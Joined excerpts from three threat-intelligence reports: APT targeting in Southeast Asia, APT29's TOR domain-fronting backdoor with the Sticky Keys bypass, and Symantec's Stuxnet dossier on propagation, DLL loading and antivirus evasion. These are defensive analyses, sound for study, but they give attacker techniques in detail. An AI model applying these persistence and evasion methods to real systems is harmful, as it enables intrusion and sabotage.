Recent Cases Most Likely Corporate Targets Transportation APT groups likely target the regions transportation companies to monitor the progress of high-profile projects that have the potential to fuel continued economic growth in the region.
In one case, a threat group that has historically focused its operations on targets in the Philippines and Malaysia spoofed the domain names of two well-known international shipping companies.
One of the spoofed companies was a major commercial freight company that transports commodities around the globe.
The other was a regional shipbuilding company.
The plausible URLs were designed to entice potential victims within targeted industries to click.
Another APT group targeted a major operator of container ship terminals in Southeast Asia.
We suspect the group targeted the port operator to monitor its communications with regional security and military organizations that partner with the company.
A threat group targeted a rail operator.
We detected variants of the Lecna/BackSpace APT malware in the transit companys networks in early 2014.
Shipping Companies Port Operators Airlines Public Transit Systems 11 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 11 Sector Why are APT Groups Interested?
Recent Cases Most Likely Corporate Targets Financial Services Banks in Southeast Asia appear to face a double threat.
The first is the pernicious cybercrime activity we observe around the world, such as credit card fraud and the theft of banking credentials.
The second threat is focused specifically on banks with a development mission in the region.
In one case, a threat group targeted a development bank that invests in the growth of strategic projects and industries in the region.
In another instance, we saw two different threat groups infect the networks of a central bank.
Stolen data on the countrys monetary policies and banking system could be highly valuable information to someone looking to understand and anticipate broader banking and funding trends in the country and region.
Banks Companies Funding Major Regional Development Projects Institutions Dealing With Monetary Policy Banks that invest in the regions strategic growth face more threats than traditional credit card fraud and financial hackers.
12 SOUTH CHINA SEA MALAYSIA THAILAND BRUNEI PHILIPPINES INDONESIA INDONESIA MALAYSIA Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT REGIONAL GOVERNMENTS AND MILITARIES: IN APT GROUPS CROSSHAIRS The APT groups that we track actively target governments and militaries for inside information into negotiations and political issues.
APT groups that target governments in the region are frequently interested in topics related to the South China Sea.
And they are increasingly active during times of heightened political tension or transition.
APT Groups and the South China Sea: Territorial Disputes with a Digital Edge FireEye routinely observes APT groups steal information dealing with South China Sea disputes and their economic effects from the networks of governments and companies involved.
Control over territory in the South China Sea is a fiercely contested issue between China, the Philippines, Brunei, Vietnam, Taiwan, and Malaysia.
The territorial disputes have huge consequences for each claimants national and economic security.
The stakes are high: more than half of the worlds commercial shipping passes through the South China Sea.
It contains potential reserves of up to 11 billion barrels of oil, 190 trillion cubic feet of natural gas, and prime fishing areas.
Territorial disputes have lingered for decades.
Along with militaries and coast guards of claimant countries, South China Sea disputes involve regional oil firms, cargo companies, and fisheries.
The territory has been at the center of many international incidents, reflecting the considerable national and economic security implications for the rival claimants.
Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 13 Threat Groups Target Southeast Asian Governments and Militaries over Territorial Claims Southeast Asian government and military entities have been targeted several times in what we suspect are efforts to obtain intelligence related to territorial disputes.
An APT group stole data from one countrys government and military networks on several occasions, including a period of heightened tension over competing claims in the South China Sea.1 Some of the files that the APT group took included the following: General military documents Internal communications Equipment maintenance reports and specifications Event-related materials Documentation of organizational programs and initiatives Other threat groups have targeted a countrys air force with spear-phishing emails that referenced the countrys military and regional maritime disputes.
These emails were designed to appear to originate from email accounts associated with other elements of the military.
Other threat actors have used the Grillmark backdoor to attempt to gain access to the networks of two countries government and military entities.
These threat actors targeted their victims through spear-phishing emails that contained weaponized documents relating to either diplomatic or military affairs.
APT Groups Gather Political Intelligence In August 2014, an APT group appeared to target intelligence related to a Southeast Asia government.
The threat actors sent a spear- phishing email that referenced the countrys leadership and contained a document with sections extracted from related news articles.
The email appeared to originate from a compromised intelligence agency email account, although the threat actors may have faked the email address.
Many of the emails recipients were associated with the targeted countrys government and military or were involved in intel- sharing partnerships.
In either case, the recipient would likely have access to information regarding the countrys security and internal stability.
Government and military entities are frequently targeted with malware that steals sensitive security details.
1 Whaley, Floyd.
A Leviathan Turns Philippine Fishermen into Desperate Darters.
The New York Times.
18 May 2014.
Web.
23 May 2014.
Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 14 Southeast Asia: An Evolving Cyber Threat LandscapeSPECIAL REPORT 14 CONCLUSION Public and private organizations in the Southeast Asian region are prime targets for advanced threat groups.
The data is clear: targeted threat actors are focused on getting into the networks of and stealing from fast-growing industries, as well as from organizations involved in territorial claims over the South China Sea.
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The outcome of the dispute has major geopolitical and economic implications for multiple countries.
The area is key to regional trade because of its rich energy reserves, prime fishing waters, and significance to commercial shipping routes.
These issues and the regions mounting importance will likely propel state-sponsored threat groups to continue targeting Southeast Asian governments and companies for the near future.
State-sponsored threat groups will continue to target Southeast Asian governments and companies.
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APT29 Domain Fronting With TOR fireeye.com /blog/threat-research/2017/03/apt29_domain_frontin.html Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy backdoor access to victim environments for at least two years.
There has been considerable discussion about domain fronting following the release of a paper detailing these techniques.
Domain fronting provides outbound network connections that are indistinguishable from legitimate requests for popular websites.
APT29 has used The Onion Router (TOR) and the TOR domain fronting plugin meek to create a hidden, encrypted network tunnel that appeared to connect to Google services over TLS.
This tunnel provided the attacker remote access to the host system using the Terminal Services (TS), NetBIOS, and Server Message Block (SMB) services, while appearing to be traffic to legitimate websites.
The attackers also leveraged a common Windows exploit to access a privileged command shell without authenticating.
We first discussed APT29s use of these techniques as part of our No Easy Breach talk at DerbyCon 6.0.
For additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and presentation.
Domain Fronting Overview The Onion Router (TOR) is a network of proxy nodes that attempts to provide anonymity to users accessing the Internet.
TOR transfers internet traffic through a series of proxy points on the Internet, with each node knowing only the previous and next node in the path.
This proxy network, combined with pervasive encryption, makes tracking the source of TOR Internet activity extremely difficult.
A TOR client can also use the TOR network to host services that are not accessible from the open Internet.
These services are commonly used to host dark web sites such as the defunct Silk Road.
Typically network analysts can identify normal TOR traffic through signature analysis or the identification of communication with TOR infrastructure.
Meek is a publicly available obfuscation plugin for TOR and an implementation of the domain fronting technique.
To hide TOR traffic, meek takes advantage of the way that Google and other Internet content delivery networks (CDNs) route traffic.
CDNs often route traffic from IP addresses associated with one service to servers associated with another service hosted on the same network.
By hosting a meek reflection server in one of these CDNs, meek can hide TOR traffic in legitimate HTTPS connections to well- known services.
Meek obfuscates traffic in several stages.
First, it encodes TOR traffic into HTTP specifying the host name of the reflection server (for example, the default server meek-reflect.appspot.com).
It then wraps that HTTP traffic in a legitimate TLS connection to a server hosted in the same CDN cloud as the reflection server (in this example, Google).
When the CDN server receives the connection, it decrypts the TLS traffic, identifies the hostname specified in the HTTP header and redirects the traffic to the reflection server.
The reflection server then reconstructs the original TOR traffic from the HTTP stream and sends the traffic to the TOR network, which routes it to its destination.
This process creates an outbound network connection that appears to contain normal HTTPS POST requests for google.com on a Google-owned IP address, while discretely passing the traffic through the reflection server to the TOR network.
Meek can also use the TLS service and cipher suites used by Firefox to further obfuscate traffic.
Differentiating this traffic from legitimate connections is extremely difficult, and encryption of both on the initial TLS connection and the TOR traffic makes meaningful analysis of the traffic impossible.
Note: Google suspended the reflection server meek-reflect.appspot.com, but other servers, in the Google cloud or other supported CDNs, can fulfill the same function.
1/5 https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html http://www.icir.org/vern/papers/meek-PETS-2015.pdf https://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016 https://www.youtube.com/watch?vLdzr0bfGtHc https://www.torproject.org/about/overview.html.en https://trac.torproject.org/projects/tor/wiki/doc/AChildsGardenOfPluggableTransportsmeek Figure 1 displays the traffic flow when using meek.
Figure 1: Meek traffic flow Backdoor Overview Mandiant discovered that APT29 enabled a TOR hidden service that forwarded traffic from the TOR client to local ports 139, 445 and 3389 (NetBIOS, SMB and TS, respectively).
This provided the attackers full remote access to the system from outside of the local network using the hidden TOR (.onion) address of the system.
The attackers created the following files and directories during the installation and execution of the backdoor: C:\Program Files(x86)\Google\googleService.exe C:\Program Files(x86)\Google\GoogleUpdate.exe C:\Program Files(x86)\Google\core C:\Program Files(x86)\Google\data C:\Program Files(x86)\Google\data\00 C:\Program Files(x86)\Google\data\00\hostname C:\Program Files(x86)\Google\data\00\private_key C:\Program Files(x86)\Google\debug.log C:\Program Files(x86)\Google\lock C:\Program Files(x86)\Google\cached-certs C:\Program Files(x86)\Google\cached-microdescs C:\Program Files(x86)\Google\cached-microdescs.new C:\Program Files(x86)\Google\cached-microdescs-consensus 2/5 C:\Program Files(x86)\Google\state C:\Program Files(x86)\Google\start.ps1 C:\Program Files(x86)\Google\install.bat The file googleService.exe is the primary TOR executable, responsible for establishing and maintaining encrypted proxy connections.
GoogleUpdate.exe is the meek-client plugin, which obfuscates the TOR connection.
These files are publicly available and have the following hashes: Filename                     SHA256 googleService.exe     fe744a5b2d07de396a8b3fe97155fc64e350b76d88db36c619cd941279987dc5 GoogleUpdate.exe      2f39dee2ee608e39917cc022d9aae399959e967a2dd70d83b81785a98bd9ed36 The file C:\Program Files (x86)\Google\core contains configuration information for the TOR service googleService.exe.
The service was configured to: Communicate on ports 1, 80 and 443 Bridge traffic using the meek plugin to https://meek-reflect.appspot.com and obfuscate HTTPS and DNS requests to appear destined for www.google.com Forward traffic from ports 62304, 62305 and 62306 to ports 3389, 139 and 445, respectively Figure 2 displays the contents of the TOR configuration file core.
Figure 2: Contents of TOR configuration file C:\Program Files(x86)\Google\core The C:\Program Files (x86)\Google\data\00\hostname file contained a single line with the TOR hostname for the system.
This hostname was a pseudorandomly-generated 16 character alpha-numeric name, with the top-level domain (TLD) .onion.
The C:\Program Files(x86)\Google\data\00\private_key file contained the TOR client RSA private key.
Figure 3 displays the redacted contents of a sample private_key file.
3/5 Figure 3: Redacted contents of sample private_key The attackers used the scripts start.ps1 and install.bat to install the TOR service.
After installation, the attackers deleted these scripts from the system.
Additional files in the directory C:\Program Files(x86)\Google contained cached data and logs from the operation of TOR.
Additional information on increasing visibility into PowerShell activity through enhanced logging is available here.
Installation and Persistence The attacker executed the PowerShell script C:\Program Files(x86)\Google\start.ps1 to install the TOR services and implement the Sticky Keys exploit.
This script was deleted after execution, and was not recovered.
By replacing the Sticky Keys binary, C:\Windows\System32\sethc.exe, with the Windows Command Processor cmd.exe, the attackers then accessed a privileged Windows console session without authenticating to the system.
Sticky Keys is an accessibility feature that allows users to activate Windows modifier keys without pressing more than one key at a time.
Pressing the shift key five times activates Sticky Keys and executes sethc.exe, which, when replaced with cmd.exe, opens a System-level command shell.
From this shell, the attackers can execute arbitrary Windows commands, including adding or modifying accounts on the system, even from the logon screen (pre-authentication).
By tunneling RDP traffic to the system, the attackers could gain both persistent access and privilege escalation using this simple and well-known exploit.
The installation script start.ps1 created a Windows service named Google Update to maintain persistence after a system reboot.
Table 1 contains registry details for the Google Update service.
Table 1: Registry details for the TOR Google Update Windows service The script also modified the Terminal Server registry values fSingleSessionPerUser to allow multiple simultaneous Windows sessions using the same account, and fDenyTSConnections to allow Terminal Services connections.
Table 4/5 https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html 2 shows the modified values for these registry keys.
Table 2: Registry modifications performed by start.ps1 Conclusion APT29 adopted domain fronting long before these techniques were widely known.
By employing a publicly available implementation, they were able to hide their network traffic, with minimal research or development, and with tools that are difficult to attribute.
Detecting this activity on the network requires visibility into TLS connections and effective network signatures.
However, when dealing with advanced threat groups who rapidly develop capabilities and invest in hiding network traffic, effective endpoint visibility is vital.
Monitoring for potentially interesting events and attacker methodologies, like lateral movement and new persistence creation, can allow defenders to identify these stealthy methodologies.
5/5 APT29 Domain Fronting With TOR Domain Fronting Overview Backdoor Overview Installation and Persistence Conclusion
Security Response Contents Introduction ....................................................... 1 Executive Summary ........................................... 2 Attack Scenario .................................................. 3 Timeline .............................................................. 4 Infection Statistics ............................................. 5 Stuxnet Architecture........................................ 12 Installation ....................................................... 16 Load Point ........................................................ 20 Command and Control ..................................... 21 Windows Rootkit Functionality ....................... 24 Stuxnet Propagation Methods......................... 25 Modifying PLCs ................................................ 36 Payload Exports ............................................... 50 Payload Resources ........................................... 51 Variants ............................................................ 53 Summary .......................................................... 55 Appendix A ....................................................... 56 Appendix B  ...................................................... 58 Appendix C ....................................................... 59 Revision History ............................................... 68 While the bulk of the analysis is complete, Stuxnet is an incredibly large and complex threat.
The authors expect to make revisions to this document shortly after release as new information is uncovered or may be publicly disclosed.
This paper is the work of numerous individuals on the Syman- tec Security Response team over the last three months well beyond the cited authors.
Without their assistance, this paper would not be possible.
Introduction W32.Stuxnet has gained a lot of attention from researchers and me- dia recently.
There is good reason for this.
Stuxnet is one of the most complex threats we have analyzed.
In this paper we take a de- tailed look at Stuxnet and its various components and particularly focus on the final goal of Stuxnet, which is to reprogram industrial control systems.
Stuxnet is a large, complex piece of malware with many different components and functionalities.
We have already covered some of these components in our blog series on the top- ic.
While some of the information from those blogs is included here, this paper is a more comprehensive and in-depth look at the threat.
Stuxnet is a threat that was primarily written to target an industrial control system or set of similar systems.
Industrial control systems are used in gas pipelines and power plants.
Its final goal is to reprogram industrial control systems (ICS) by modifying code on programmable logic controllers (PLCs) to make them work in a manner the attacker in- tended and to hide those changes from the operator of the equipment.
In order to achieve this goal the creators amassed a vast array of com- ponents to increase their chances of success.
This includes zero-day exploits, a Windows rootkit, the first ever PLC rootkit, antivirus evasion Nicolas Falliere, Liam O Murchu, and Eric Chien W32.Stuxnet Dossier Version 1.4 (February 2011) http://www.symantec.com/connect/blog-tags/w32stuxnet W32.Stuxnet Dossier Page 2 Security Response techniques, complex process injection and hooking code, network infection routines, peer-to-peer updates, and a command and control interface.
We take a look at each of the different components of Stuxnet to understand how the threat works in detail while keeping in mind that the ultimate goal of the threat is the most interesting and relevant part of the threat.
Executive Summary Stuxnet is a threat targeting a specific industrial control system likely in Iran, such as a gas pipeline or power plant.
The ultimate goal of Stuxnet is to sabotage that facility by reprogramming programmable logic controllers (PLCs) to operate as the attackers intend them to, most likely out of their specified boundaries.
Stuxnet was discovered in July, but is confirmed to have existed at least one year prior and likely even before.
The majority of infections were found in Iran.
Stuxnet contains many features such as: Self-replicates through removable drives exploiting a vulnerability allowing auto-execution.
Microsoft Windows Shortcut LNK/PIF Files Automatic File Execution Vulnerability (BID 41732) Spreads in a LAN through a vulnerability in the Windows Print Spooler.
Microsoft Windows Print Spooler Service Remote Code Execution Vulnerability (BID 43073) Spreads through SMB by exploiting the  Microsoft Windows Server Service RPC Handling Remote Code Execu- tion Vulnerability (BID 31874).
Copies and executes itself on remote computers through network shares.
Copies and executes itself on remote computers running a WinCC database server.
Copies itself into Step 7 projects in such a way that it automatically executes when the Step 7 project is loaded.
Updates itself through a peer-to-peer mechanism within a LAN.
Exploits a total of four unpatched Microsoft vulnerabilities, two of which are previously mentioned vulner- abilities for self-replication and the other two are escalation of privilege vulnerabilities that have yet to be disclosed.
Contacts a command and control server that allows the hacker to download and execute code, including up- dated versions.
Contains a Windows rootkit that hide its binaries.
Attempts to bypass security products.
Fingerprints a specific industrial control system and modifies code on the Siemens PLCs to potentially sabo- tage the system.
Hides modified code on PLCs, essentially a rootkit for PLCs.
http://www.securityfocus.com/bid/41732 http://www.securityfocus.com/bid/43073 http://www.securityfocus.com/bid/31874 http://www.securityfocus.com/bid/31874 W32.Stuxnet Dossier Page 3 Security Response Attack Scenario The following is a possible attack scenario.
It is only speculation driven by the technical features of Stuxnet.
Industrial control systems (ICS) are operated by a specialized assembly like code on programmable logic control- lers (PLCs).
The PLCs are often programmed from Windows computers not connected to the Internet or even the internal network.
In addition, the industrial control systems themselves are also unlikely to be connected to the Internet.
First, the attackers needed to conduct reconnaissance.
As each PLC is configured in a unique manner, the attack- ers would first need the ICSs schematics.
These design documents may have been stolen by an insider or even retrieved by an early version of Stuxnet or other malicious binary.
Once attackers had the design documents and potential knowledge of the computing environment in the facility, they would develop the latest version of Stux- net.
Each feature of Stuxnet was implemented for a specific reason and for the final goal of potentially sabotag- ing the ICS.
Attackers would need to setup a mirrored environment that would include the necessary ICS hardware, such as PLCs, modules, and peripherals in order to test their code.
The full cycle may have taken six months and five to ten core developers not counting numerous other individuals, such as quality assurance and management.
In addition their malicious binaries contained driver files that needed to be digitally signed to avoid suspicion.
The attackers compromised two digital certificates to achieve this task.
The attackers would have needed to obtain the digital certificates from someone who may have physically entered the premises of the two companies and stole them, as the two companies are in close physical proximity.
To infect their target, Stuxnet would need to be introduced into the target environment.
This may have occurred by infecting a willing or unknowing third party, such as a contractor who perhaps had access to the facility, or an insider.
The original infection may have been introduced by removable drive.
Once Stuxnet had infected a computer within the organization it began to spread in search of Field PGs, which are typical Windows computers but used to program PLCs.
Since most of these computers are non-networked, Stuxnet would first try to spread to other computers on the LAN through a zero-day vulnerability, a two year old vulnerability, infecting Step 7 projects, and through removable drives.
Propagation through a LAN likely served as the first step and propagation through removable drives as a means to cover the last and final hop to a Field PG that is never connected to an untrusted network.
While attackers could control Stuxnet with a command and control server, as mentioned previously the key com- puter was unlikely to have outbound Internet access.
Thus, all the functionality required to sabotage a system was embedded directly in the Stuxnet executable.
Updates to this executable would be propagated throughout the facility through a peer-to-peer method established by Stuxnet.
When Stuxnet finally found a suitable computer, one that ran Step 7, it would then modify the code on the PLC.
These modifications likely sabotaged the system, which was likely considered a high value target due to the large resources invested in the creation of Stuxnet.
Victims attempting to verify the issue would not see any rogue PLC code as Stuxnet hides its modifications.
While their choice of using self-replication methods may have been necessary to ensure theyd find a suitable Field PG, they also caused noticeable collateral damage by infecting machines outside the target organization.
The attackers may have considered the collateral damage a necessity in order to effectively reach the intended target.
Also, the attackers likely completed their initial attack by the time they were discovered.
W32.Stuxnet Dossier Page 4 Security Response Timeline Table 1 W32.Stuxnet Timeline Date Event November 20, 2008 Trojan.
Zlob variant found to be using the LNK vulnerability only later identified in Stuxnet.
April, 2009 Security magazine Hakin9 releases details of a remote code execution vulnerability in the Printer Spooler service.
Later identified as MS10-061.
June, 2009 Earliest Stuxnet sample seen.
Does not exploit MS10-046.
Does not have signed driver files.
January 25, 2010 Stuxnet driver signed with a valid certificate belonging to Realtek Semiconductor Corps.
March, 2010 First Stuxnet variant to exploit MS10-046.
June 17, 2010 Virusblokada reports W32.Stuxnet (named RootkitTmphider).
Reports that its using a vulnerability in the processing of shortcuts/.lnk files in order to propagate (later identified as MS10-046).
July 13, 2010 Symantec adds detection as W32.Temphid (previously detected as Trojan Horse).
July 16, 2010 Microsoft issues Security Advisory for Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198) that covers the vulnerability in processing shortcuts/.lnk files.
Verisign revokes Realtek Semiconductor Corps certificate.
July 17, 2010 Eset identifies a new Stuxnet driver, this time signed with a certificate from JMicron Technology Corp. July 19, 2010 Siemens report that they are investigating reports of malware infecting Siemens WinCC SCADA systems.
Symantec renames detection to W32.Stuxnet.
July 20, 2010 Symantec monitors the Stuxnet Command and Control traffic.
July 22, 2010 Verisign revokes the JMicron Technology Corps certificate.
August 2, 2010 Microsoft issues MS10-046, which patches the Windows Shell shortcut vulnerability.
August 6, 2010 Symantec reports how Stuxnet can inject and hide code on a PLC affecting industrial control systems.
September 14, 2010 Microsoft releases MS10-061 to patch the Printer Spooler Vulnerability identified by Symantec in August.
Microsoft report two other privilege escalation vulnerabilities identified by Symantec in August.
September 30, 2010 Symantec presents at Virus Bulletin and releases comprehensive analysis of Stuxnet.
http://www.microsoft.com/technet/security/Bulletin/MS10-061.mspx http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx http://www.microsoft.com/technet/security/advisory/2286198.mspx http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx http://www.microsoft.com/technet/security/Bulletin/MS10-061.mspx W32.Stuxnet Dossier Page 5 Security Response Infection Statistics On July 20, 2010 Symantec set up a system to monitor traffic to the Stuxnet command and control (CC) serv- ers.
This allowed us to observe rates of infection and identify the locations of infected computers, ultimately working with CERT and other organizations to help inform infected parties.
The system only identified command and control traffic from computers that were able to connect to the CC servers.
The data sent back to the CC servers is encrypted and includes data such as the internal and external IP address, computer name, OS version, and if its running the Siemens SIMATIC Step 7 industrial control software.
As of September 29, 2010, the data has shown that there are approximately 100,000 infected hosts.
The follow- ing graph shows the number of unique infected hosts by country: The following graph shows the number of infected organizations by country based on WAN IP addresses: Figure 1 Infected Hosts Figure 2 Infected Organizations (By WAN IP) W32.Stuxnet Dossier Page 6 Security Response We have observed over 40,000 unique external IP addresses, from over 155 countries.
Looking at the percentage of infected hosts by country, shows that approximately 60 of infected hosts are in Iran: Stuxnet aims to identify those hosts which have the Siemens Step 7 software installed.
The following chart shows the percentage of infected hosts by country with the Siemens software installed.
Looking at newly infected IP addresses per day, on August 22 we observed that Iran was no longer reporting new infections.
This was most likely due to Iran blocking outward connections to the command and control servers, rather than a drop-off in infections.
Figure 3 Geographic Distribution of Infections Figure 4 Percentage of Stuxnet infected Hosts with Siemens Software installed W32.Stuxnet Dossier Page 7 Security Response The concentration of infections in Iran likely indicates that this was the initial target for infections and was where infections were initially seeded.
While Stuxnet is a targeted threat, the use of a variety of propagation techniques (which will be discussed later) has meant that Stuxnet has spread beyond the initial target.
These additional infections are likely to be collateral damageunintentional side-effects of the promiscuous initial propagation methodology utilized by Stuxent.
While infection rates will likely drop as users patch their comput- ers against the vulnerabilities used for propagation, worms of this nature typically continue to be able to propa- gate via unsecured and unpatched computers.
By February 2011, we had gathered 3,280 unique samples representing three different variants.
As described in the Configuration Data Block section, Stuxnet records a timestamp, along with other system information, within itself each time a new infection occurs.
Thus, each sample has a history of every computer that was infected, including the first infection.
Using this data, we are able to determine: Stuxnet was a targeted attack on five different organizations, based on the recorded computer domain name.
12,000 infections can be traced back to these 5 organizations Three organizations were targeted once, one was targeted twice, and another was targeted three times.
Domain A was targeted twice (Jun 2009 and Apr 2010).
The same computer appears to have been infected each time.
Domain B was targeted three times (Jun 2009, Mar 2010, and May 2010).
Domain C was targeted once (Jul 2009).
Domain D was targeted once (Jul 2009).
Domain E appears to have been targeted once (May 2010), but had three initial infections.
(
I.e., the same initially infected USB key was inserted into three different computers.)
12,000 infections originated from these initial 10 infections.
1,800 different domain names were recorded.
Organizations were targeted in June 2009, July 2009, March 2010, April 2010, and May 2010.
All targeted organizations have a presence in Iran.
The shortest span between compile time and initial infection was 12 hours.
The longest span between compile time and initial infection was 28 days.
The average span between compile time and initial infection was 19 days.
The median span between compile time and initial infection was 26 days.
Note any timing information could be incorrect due to time zones or incorrectly set system times.
Figure 5 Rate of Stuxnet infection of new IPs by Country W32.Stuxnet Dossier Page 8 Security Response The following table provides details on the initial targets.
This graph shows the time required after compilation to the first infection.
The following is a graph that shows the clusters of infections resulting from the 10 different initial infections.
Each infection is a black circle.
The red circles represent the variant used.
The other colored circles represent the initial infection with each initial domain having its own color (green, yellow, blue, purple, and orange).
Table 2 Attack Waves Against the Initial Targets Attack Wave Site Compile Time Infection Time Time to Infect Attack Wave 1 Domain A June, 22 2009  16:31:47 June 23, 2009  4:40:16 0 days  12 hours Domain B June, 22 2009  16:31:47 June 28, 2009  23:18:14 6 days  6 hours Domain C June, 22 2009  16:31:47 July 7, 2009  5:09:28 14 days  12 hours Domain D June, 22 2009  16:31:47 July 19, 2009  9:27:09 26 days  16 hours Attack Wave 2 Domain B March, 1 2010  5:52:35 March 23, 2010  6:06:07 22 days  0 hours Attack Wave 3 Domain A April, 14 2010  10:56:22 April 26, 2010  9:37:36 11 days  22 hours Domain E April, 14 2010  10:56:22 May 11, 2010  6:36:32 26 days  19 hours Domain E April, 14 2010  10:56:22 May 11, 2010  11:45:53 27 days  0 hours Domain E April, 14 2010   10:56:22 May 11, 2010  11:46:10 27 days  0 hours Domain B April, 14 2010 10:56:22 May 13, 2010  5:02:23 28 days  18 hours Figure 6 Days Before Infection W32.Stuxnet Dossier Page 9 Security Response Figure 7 Clusters of Infections Based on Initial Infections W32.Stuxnet Dossier Page 10 Security Response There are a total of 10 clusters representing 10 initial infections.
The attack on Domain B in March 2010 spread the most successfully.
Early attacks in June 2009 show the fewest infections however, these numbers are skewed because of the low number of June 2009 samples that were recovered.
The following picture shows a zoomed-in view of the lower right of the image.
This cluster is the attack on Do- main E with the initial infection time of 2010/05/11 11:46:10 with the April 2010 variant.
You can see that the graph primarily has linear branches such that a single infection does not infect many com- puters, but only a single computer.
While this is partially due to rate-limiting code within Stuxnetfor example, a USB infection will delete itself from the USB key after the third infectiona larger influencer may be the limited number of samples that were recovered.
Additional samples would likely yield many more sub-branches.
Stuxnets propagation mechanisms are all LAN based and thus, the final target must be assumed in close network proximity to the initial seeded targets.
Nevertheless, with 1,800 different computer domains out of 12,000 infections, Stuxnet clearly escaped the original organizations due to collabo- ration with partner organizations.
Of the approximately 12,000 infec- tions, the chart in figure 9 shows which variants resulted in the most infections.
Figure 9 Variant Infection Distribution Figure 8 Domain E Attack (detail) W32.Stuxnet Dossier Page 11 Security Response The March 2010 variant accounts for 69 of all infections.
Thus, the March 2010 variant may have been seeded more successfully.
Note the single targeted organization in March 2010 was also targeted in June 2009 and in April 2010 and neither of those other seeded attempts resulted in as many infections as in March.
While smaller infection rates for the June 2009 variant would be expected since it had less replication methods, the April 2010 variant is almost identical to the March 2010 variant.
Thus, either the different seed within the same organiza- tion resulted in significantly different rates of spread (e.g., seeding in a computer in a department with less computer-security restrictions) or the data is skewed due to the small percentage of samples recovered.
W32.Stuxnet Dossier Page 12 Security Response Stuxnet Architecture Organization Stuxnet has a complex architecture that is worth outlining before continuing with our analysis.
The heart of Stuxnet consists of a large .dll file that contains many different exports and resources.
In addition to the large .dll file, Stuxnet also contains two encrypted configuration blocks.
The dropper component of Stuxnet is a wrapper program that contains all of the above components stored inside itself in a section name stub.
This stub section is integral to the working of Stuxnet.
When the threat is execut- ed, the wrapper extracts the .dll file from the stub section, maps it into memory as a module, and calls one of the exports.
A pointer to the original stub section is passed to this export as a parameter.
This export in turn will extract the .dll file from the stub section, which was passed as a parameter, map it into memory and call another different export from inside the mapped .dll file.
The pointer to the original stub section is again passed as a parameter.
This occurs continuously throughout the execution of the threat, so the original stub section is continuously passed around between different processes and functions as a parameter to the main payload.
In this way every layer of the threat always has access to the main .dll and the configuration blocks.
In addition to loading the .dll file into memory and calling an export directly, Stuxnet also uses another technique to call exports from the main .dll file.
This technique is to read an executable template from its own resources, populate the template with appropriate data, such as which .dll file to load and which export to call, and then to inject this newly populated executable into another pro- cess and execute it.
The newly populated executable tem- plate will load the original .dll file and call whatever export the template was populated with.
Although the threat uses these two different tech- niques to call exports in the main .dll file, it should be clear that all the functionality of the threat can be ascer- tained by analyzing all of the exports from the main .dll file.
Exports As mentioned above, the main .dll file contains all of the code to control the worm.
Each export from this .dll file has a different purpose in controlling the threat as outlined in table 3.
Table 3 DLL Exports Export  Function 1 Infect connected removable drives, starts RPC server 2 Hooks APIs for Step 7 project file infections 4 Calls the removal routine (export 18) 5 Verifies if the threat is installed correctly 6 Verifies version information 7 Calls Export 6 9 Updates itself from infected Step 7 projects 10 Updates itself from infected Step 7 projects 14 Step 7 project file infection routine 15 Initial entry point 16 Main installation 17 Replaces Step 7 DLL 18 Uninstalls Stuxnet 19 Infects removable drives 22 Network propagation routines 24 Check Internet connection 27 RPC Server 28 Command and control routine 29 Command and control routine 31 Updates itself from infected Step 7 projects 32 Same as 1 W32.Stuxnet Dossier Page 13 Security Response Resources The main .dll file also contains many different resources that the exports above use in the course of controlling the worm.
The resources vary from full .dll files to template executables to configuration files and exploit mod- ules.
Both the exports and resources are discussed in the sections below.
Bypassing Behavior Blocking When Loading DLLs Whenever Stuxnet needs to load a DLL, including itself, it uses a special method designed to bypass behavior- blocking and host intrusion-protection based technologies that monitor LoadLibrary calls.
Stuxnet calls Load- Library with a specially crafted file name that does not exist on disk and normally causes LoadLibrary to fail.
However, W32.Stuxnet has hooked Ntdll.dll to monitor for requests to load specially crafted file names.
These specially crafted filenames are mapped to another location insteada location specified by W32.Stuxnet.
That location is generally an area in memory where a .dll file has been decrypted and stored by the threat previously.
The filenames used have the pattern of KERNEL32.DLL.ASLR.
[HEXADECIMAL] or SHELL32.DLL.ASLR.
[
HEXA- DECIMAL], where the variable [HEXADECIMAL]is a hexadecimal value.
The functions hooked for this purpose in Ntdll.dll are: ZwMapViewOfSection ZwCreateSection ZwOpenFile ZwCloseFile ZwQueryAttributesFile ZwQuerySection Once a .dll file has been loaded via the method shown above, GetProcAddress is used to find the address of a specific export from the .dll file and that export is called, handing control to that new .dll file.
Table 4 DLL Resources Resource ID Function 201 MrxNet.sys load driver, signed by Realtek 202 DLL for Step 7 infections 203 CAB file for WinCC infections 205 Data file for Resource 201 207 Autorun version of Stuxnet 208 Step 7 replacement DLL 209 Data file (windows\help\winmic.fts) 210 Template PE file used for injection 221 Exploits MS08-067 to spread via SMB.
222 Exploits MS10-061 Print Spooler Vulnerability 231 Internet connection check 240 LNK template file used to build LNK exploit 241 USB Loader DLL WTR4141.tmp 242 MRxnet.sys rootkit driver 250 Exploits Windows Win32k.sys Local Privilege Escalation (MS10-073) W32.Stuxnet Dossier Page 14 Security Response Injection Technique Whenever an export is called, Stuxnet typically injects the entire DLL into another process and then just calls the particular export.
Stuxnet can inject into an existing or newly created arbitrary process or a preselected trusted process.
When injecting into a trusted process, Stuxnet may keep the injected code in the trusted process or instruct the trusted process to inject the code into another currently running process.
The trusted process consists of a set of default Windows processes and a variety of security products.
The cur- rently running processes are enumerated for the following: Kaspersky KAV (avp.exe) Mcafee (Mcshield.exe) AntiVir (avguard.exe) BitDefender (bdagent.exe) Etrust (UmxCfg.exe) F-Secure (fsdfwd.exe) Symantec (rtvscan.exe) Symantec Common Client (ccSvcHst.exe) Eset NOD32 (ekrn.exe) Trend Pc-Cillin (tmpproxy.exe) In addition, the registry is searched for indicators that the following programs are installed: KAV v6 to v9 McAfee Trend PcCillin If one of the above security product processes are detected, version information of the main image is extracted.
